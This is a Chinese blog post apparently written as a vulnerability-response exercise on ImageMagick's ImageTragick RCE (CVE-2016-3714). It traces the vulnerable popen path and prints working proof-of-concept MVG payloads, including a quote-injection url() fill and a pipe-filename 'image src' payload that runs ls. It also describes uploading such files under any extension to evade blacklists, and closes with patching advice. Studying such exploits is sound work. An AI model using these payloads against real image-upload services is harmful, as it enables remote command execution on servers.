漏洞应急响应的第一个练习
ImageMagick 作为一个著名的图像处理库,被爆出了严重的安全漏洞,该漏洞被称之为“ImageTragick”,CVE 编号是 CVE-2016-3714
ImageMagick 简介
ImageMagick
是除了 GD 之外使用最多的图像处理库,被广泛用于各种语言的图像处理,比如 PHP、Java、Python、Ruby 等等。许多开源软件,比如 WordPress、Drupal、Discuz 等都使用了它的图像处理功能。
响应过程
原理分析
拿到 CVE 号了之后,先看了一下它的介绍,然后就开始安装 ImageMagick,其实 ubuntu 已经自带了,只不过版本不符合。没意识到这个问题,直接装了旧版本,然后鬼使神差地又去装 php 对 ImageMagick 的支持——Imagick
,其实根本没有必要。。安装 Imagick 花费了大量的时间(因为旧版新版共存,Imagic 识别总是新版,刚了很久)。后来意识到 CVE 的描述里压根没提 Imagick,遂醒悟。这里获得第一个教训:要明确影响的是什么。
卸载了新版之后,留下的是 6.9.2-10
。然后想的是,既然要出 poc,肯定要会用这个东西,否则怎么刚源码、知道漏洞在哪?于是在官网找了一些例子试着运行了一下,大概了解了一下。
然后开始头铁,直接刚源码,连入口都不知道,瞎看了一会,由于之前刚 Imagick 心情烦躁,关了电脑冷静思考了一会:既然是 rce,那么如果不是溢出之类的问题的话,应该要有 popen 之类的函数。然后结合之前运行例子的时候发现若文件不存在的时候,会报错:
1
| convert: unable to open image `1.png': 没有那个文件或目录 @ error/blob.c/OpenBlob/2703.
|
所以推测 blob.c
应该是入口,看了一下 blob.c(./magick 下),搜索 popen
,发现重要函数 popen_utf8
:
image->blob->file_info.file=(FILE *) popen_utf8(filename+1,mode);
这个函数在哪呢?grep 一下看看:
在 ./utility-private.h
中定义了,且:
return(popen(command,type));
那么也就意味着,精心构造一个文件名让代码走到这里,就可以在这发生执行。
回到之前的 popen_utf8
,参数是什么呢?filename+1
和 mode
,其中,filename 是要构造的,mode 随他去吧。往上看,filename 是指针,而且,要执行 popen_utf8 必须过 if (*filename == '|')
,再往上一层就是 OpenBlob
的定义了。综上,filename 的第一个字符必须为 |
,然后后面的代码就可以执行:convert "|ls > 1.txt" 1.png
到此,已经证实 ImageMagick v<6.9.3-9 的版本存在 RCE。但是睡了一觉后得有点问题,CVE 里特别提到了 (1) EPHEMERAL, (2) HTTPS, (3) MVG, (4) MSL, (5) TEXT, (6) SHOW, (7) WIN, and (8) PLT
这些东西,貌似和我发现的并没有关系。然后下载了一个 ImageMagick-6.9.5-10
,用 diff 了一下./magick 的所有代码,多的吐血。。然后鸡汁地想到了先在 gayhub 传 6.9.2-10,再传 6.9.5-10 的./magick。之后再看差别。在此处发现了:
于是更加确认 CVE 说的就是这里啦。但是 MVG
之类的究竟是什么玩意呢?搜了一下可以用它自定义的代码来画图:
MVG Overview
比如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150
| push graphic-context viewbox 0 0 624 369 affine 0.283636 0 0 0.283846 -0 -0 push graphic-context push graphic-context fill 'darkslateblue' stroke 'blue' stroke-width 1 rectangle 1,1 2199,1299 pop graphic-context push graphic-context font-size 40 fill 'white' stroke-width 1 text 600,1100 'Average: 20.0' pop graphic-context push graphic-context fill 'red' stroke 'black' stroke-width 5 path 'M700.0,600.0 L340.0,600.0 A360.0,360.0 0 0,1 408.1452123287954,389.2376150414973 z' pop graphic-context push graphic-context font-size 40 fill 'white' stroke-width 1 text 1400,140 'MagickWand for PHP' pop graphic-context push graphic-context font-size 30 fill 'white' stroke-width 1 text 1800,140 '(10.0%)' pop graphic-context push graphic-context fill 'red' stroke 'black' stroke-width 4 rectangle 1330,100 1370,140 pop graphic-context push graphic-context fill 'yellow' stroke 'black' stroke-width 5 path 'M700.0,600.0 L408.1452123287954,389.2376150414973 A360.0,360.0 0 0,1 976.5894480359858,369.56936567559273 z' pop graphic-context push graphic-context font-size 40 fill 'white' stroke-width 1 text 1400,220 'MagickCore' pop graphic-context push graphic-context font-size 30 fill 'white' stroke-width 1 text 1800,220 '(29.0%)' pop graphic-context push graphic-context fill 'yellow' stroke 'black' stroke-width 4 rectangle 1330,180 1370,220 pop graphic-context push graphic-context fill 'fuchsia' stroke 'black' stroke-width 5 path 'M700.0,600.0 L976.5894480359858,369.56936567559273 A360.0,360.0 0 0,1 964.2680466142854,844.4634932636567 z' pop graphic-context push graphic-context font-size 40 fill 'white' stroke-width 1 text 1400,300 'MagickWand' pop graphic-context push graphic-context font-size 30 fill 'white' stroke-width 1 text 1800,300 '(22.9%)' pop graphic-context push graphic-context fill 'fuchsia' stroke 'black' stroke-width 4 rectangle 1330,260 1370,300 pop graphic-context push graphic-context fill 'blue' stroke 'black' stroke-width 5 path 'M700.0,600.0 L964.2680466142854,844.4634932636567 A360.0,360.0 0 0,1 757.853099990584,955.3210081341651 z' pop graphic-context push graphic-context font-size 40 fill 'white' stroke-width 1 text 1400,380 'JMagick' pop graphic-context push graphic-context font-size 30 fill 'white' stroke-width 1 text 1800,380 '(10.6%)' pop graphic-context push graphic-context fill 'blue' stroke 'black' stroke-width 4 rectangle 1330,340 1370,380 pop graphic-context push graphic-context fill 'lime' stroke 'black' stroke-width 5 path 'M700.0,600.0 L757.853099990584,955.3210081341651 A360.0,360.0 0 0,1 340.0,600.0 z' pop graphic-context push graphic-context font-size 40 fill 'white' stroke-width 1 text 1400,460 'Magick++' pop graphic-context push graphic-context font-size 30 fill 'white' stroke-width 1 text 1800,460 '(27.5%)' pop graphic-context push graphic-context fill 'lime' stroke 'black' stroke-width 4 rectangle 1330,420 1370,460 pop graphic-context push graphic-context font-size 100 fill 'white' stroke-width 1 text 100,150 'ImageMagick' pop graphic-context push graphic-context fill 'none' stroke 'black' stroke-width 5 circle 700,600 700,960 pop graphic-context pop graphic-context pop graphic-context
|
然后 convert mvg:piechart.mvg piechart.png
可以画一个这样的图:
差不多搞定了, 高高兴兴地去看别人写的分析, 结果发现 CVE 指的漏洞居然不是这个地方, poc 如下:
(一个文件内填充以下字符命名为 .mvg
格式)
1 2 3 4
| push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"ls "-la)' pop graphic-context
|
醉了, 这明显是闭合引号导致的注入.
贴 2 篇文章, 讲的都很好:
freebuf
青藤
那么问题来了, 我发现的漏洞不会是新的 cve 吧? 那岂不是美滋滋.
ImageMagick 另一个命令执行
...告辞
利用场景
网站使用受影响版本的 imagemagick, 且恶意文件能够成功上传至后台, 被 imagemagick 解析.
恶意文件后缀特别灵活, 不仅限于图片类型, 所以过黑名单毫无压力.
所以利用场景是很多的, 是一个好洞
POC & EXP
CVE-2016-3714 和 我发现的 imagemagick 另一处漏洞利用起来很相似, 放在一起说吧
根据这个文档的说明,我们可以把 payload 藏在 mvg 里:
1 2 3 4
| push graphic-context viewbox 0 0 624 369 image src 0 0 100 100 '|ls > 1.txt' pop graphic-context
|
用到了 image
这个原语(Primitive),组件(compose)为 src
然后 convert mvg:1.mvg r.png
即可执行
那么问题来了,网站一定会用 mvg 这个组件吗?其实无所谓,imagemagick 的 convert 在遇到 mvg 语法的时候会把传入的任意文件当作 mvg 代码执行(摊手):
convert mvg:1.balabala r.png
甚至:
convert 1.balabala r.png
都可以执行代码。这样,可利用场景就丰富了很多很多。
其他原语也可以:
1 2 3 4
| push graphic-context viewbox 0 0 624 369 fill url( pop graphic-context
|
在网上还看到一种利用 ImageMagick 漏洞绕过 disable_function 的姿势, 记录在此
修复方案
升级最新版本的 ImageMagick, 同时做好文件名的过滤, 上白名单.
后记
这个漏洞的利用方式真是无比简单...做开发真难啊
同时它也给了我们提示, 使用危险函数时候一定要谨慎再谨慎, 同时, 也不要过于相信第三方的插件有多安全, 该限制的地方一定要限制死.
什么复现漏洞能发现另一个隐藏的 cve, 那就赚大发咯
来呀快活呀